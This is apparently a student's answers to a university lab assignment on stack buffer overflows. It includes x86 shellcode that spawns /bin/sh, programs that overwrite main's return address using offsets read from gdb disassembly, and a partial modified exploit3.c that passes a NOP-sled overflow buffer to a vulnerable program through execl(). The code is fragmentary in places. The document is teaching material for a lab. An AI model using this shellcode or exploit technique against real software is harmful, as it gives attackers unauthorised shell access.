Escolar Documentos
Profissional Documentos
Cultura Documentos
c as follows, what offset from the address of variable ret should be used
here? In your report, explain how you use the assembly code (obtained by using gdb or gcc -S option) to
find out the layout of the variables in the program stack. Also draw the program stack to analyze why the
offset works.
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int x, y, z;
int *ret;
Here we are using the gdb disassemble option to see the layout of
main.
<main+16>: lea -0x10(%ebp),%eax, this instruction is equivalent
of ret = (int *)&ret + 5; which implies that ret is 4 words(16 bytes)
away from ebp and ebp is 1 word away from return pointer. so we
change the offset to (4+1).
The stack lay out here would be
bottom of the memory top of the memory
<-------- ret x y z sfp return pointer
top of stack ebp
bottom of stack
2. (20 pts) Further change testsc2.c as follows, what offset from the address of variable ret should be used
here? Similar to problem 1, explain how you use the assembly code (obtained by using gdb or gcc -S
option) to find out the layout of the program stack and from the stack, analyze why the offset value works.
...
...
void main() {
char *p;
int x, y;
int *ret;
char buffer[30];
...
...
}
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
char *p;
int x, y;
int *ret;
char buffer[30];
ret = (int *)&ret + 7;
(*ret) = (int)shellcode;
}
If we see <main+16> -0x18(%ebp),%eax it says ret is 24 bytes away
from ebp, which is 6 words long and ebp 1 word away from return
pointer and if we change the offset to (6+1) we can overwrite the
contents to open a new shell here.
3. (30 pts) System call execl() replaces the current process image with
a new one. Modify exploit3.c so that it runs program "vulnerable" using
execl() function, and input the overflow buffer as one of the arguments
to execl() function. This way you only need to run exploit3 to get a
shell (don't need to run vulnerable as in the original example). Use
modified exploit3 to experiment with different buffer sizes and offsets.
Find a suitable buffer size and offset that would give you an interactive
shell. Analyze why these values work by figuring out the starting
address of NOP sled and the starting address of shellcode when
running the "vulnerable" program, and the guessed return address
generated in the modified exploit3 program. Also attach your modified
exploit3.c.
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
buff[bsize - 1] = '\0';
execl("./vulnerable","vulnerable",buff,0);
free(buff);
}
As we can see here, that if the offset is greater than 800 and the buffer
size is greater than 512 vulnerable program is executed.
4. (30 pts) Generate a command line input that will launch a return-into-libc attack against the following
program to have a shell. List all the steps that you performed in the attack. Here are two good reference
links: 1 and 2.